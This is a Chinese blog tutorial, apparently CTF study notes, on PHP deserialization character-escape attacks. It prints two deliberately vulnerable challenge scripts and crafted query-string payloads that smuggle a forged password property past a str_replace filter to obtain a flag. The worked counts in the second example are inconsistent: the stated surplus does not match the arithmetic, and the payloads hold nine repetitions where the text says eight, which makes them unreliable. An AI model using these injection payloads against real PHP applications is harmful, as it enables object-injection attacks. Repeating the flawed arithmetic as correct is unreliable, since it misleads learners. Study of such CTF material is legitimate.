前言

反序列化字符逃逸是最近很常见的题目,所以学习一下这个方面的知识。

正文

反序列化,理解之后。做题就没有那么难了,看了一篇微信推文,让我理解了PHP反序列化字符逃逸这个难点。

基础

<?php
 class m0re{
    public $aaa = '1emon';
    public $bbb = 'qwzf';
    public $SL = 'shalou';
 }
 $a = new m0re();
 print_r(serialize($a));
?>

序列化结果

O:4:"m0re":3:{s:3:"aaa";s:5:"1emon";s:3:"bbb";s:4:"qwzf";s:2:"SL";s:6:"shalou";}

反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。
在后面加上一些字符进行测试。像这样

m0re
仍然反序列化成功而且没有任何报错,足以说明反序列化的结束标志是;}
理解了这个就可以进行反序列化字符逃逸的学习了。

关键字符增加

反序列化逃逸的题目,会使用preg_replace函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。
正常序列化的结果,
m0re
替换后,字符增多,无法完成反序列化。需要做一下改动的地方是username处,因为反序列化遇到;}与前面的{闭合,就会停止反序列化。后面的内容自然忽略。尝试更改username
m0re
这里username直接传入";s:8:"password";s:3:"lin";}在反序列化时,会在第一个;}的位置结束反序列化。
但是替换过后,比如o变成oo,可是因为是当作username传入的,所以结果会是这样的

a:2:{s:8:"username";s:4:"m00re";s:8:"password";s:3:"lin";}

这里还是4,实际上应该为5,所以反序列化就会失败。
但是这个值,是可以手动改的,只要算好替换后的位数,就可以使得反序列化成功。

例题1

#m3w师傅的题目
<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

这里要求password=yu22x,但是password的值已经设置好了,这里就是用反序列化字符逃逸使得原本的密码不被反序列化。
先进行序列化,在本地测试,可以将密码先改为yu22x,然后进行序列化,

$uname=$_GET[1];
$password='yu22x';
$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
var_dump($ser);

得到结果

O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}

需要吞掉的部分是";s:8:"password";s:5:"yu22x";}这是30个字符,每替换一次增加2个字符,所以需要15个Firebasky才可以,所以构造payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

这是需要当作username传入的参数,其实整个是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一个;}就会停止反序列化,更改的参数也是正确的,所以后面的password=1的部分就会被吞掉(忽略)。
反序列化成功就会得到flag。
m0re

例题2

上面那个是刚好够30被吞掉,每替换一次吞掉两个字符。
所以算起来比较方便。
这个是不一样的。

#unctf
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
    public $uname;
    public $password;
    public function __construct($uname,$password)
    {
        $this->uname=$uname;
        $this->password=$password;
    }
    public function __wakeup()
    {
            if($this->password==='easy')
            {
                include('flag.php');
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }

function filter($string){
    return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?> 

还是在本地替换,替换正确密码。序列化结果。

O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";} 

这个是替换一次,增加四个。而需要吞掉";s:8:"password";s:4:"easy";}29个字符
无法正好替换,前面使用7个,则少一个,使用8个,则会多7个字符。
所以这里可以使用8个,后面使用一下占位符让其吞掉,比如;我理解的是因为遇到;}才会结束反序列化,所以在;前面加7个;使得反序列化成功。
payload

?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;

或者

?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}

两个payload都一样的,可以序列化成功,得到flag

总结

关键字符减少的,等遇到题目再写。
以上题目均可百度找到。
参考文章
1、http://bealright.top:8888/2020/08/24/%E6%B5%85%E6%9E%90php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8/

2、https://mp.weixin.qq.com/s/7jAS7R_GuBBz6M8U6lQv-w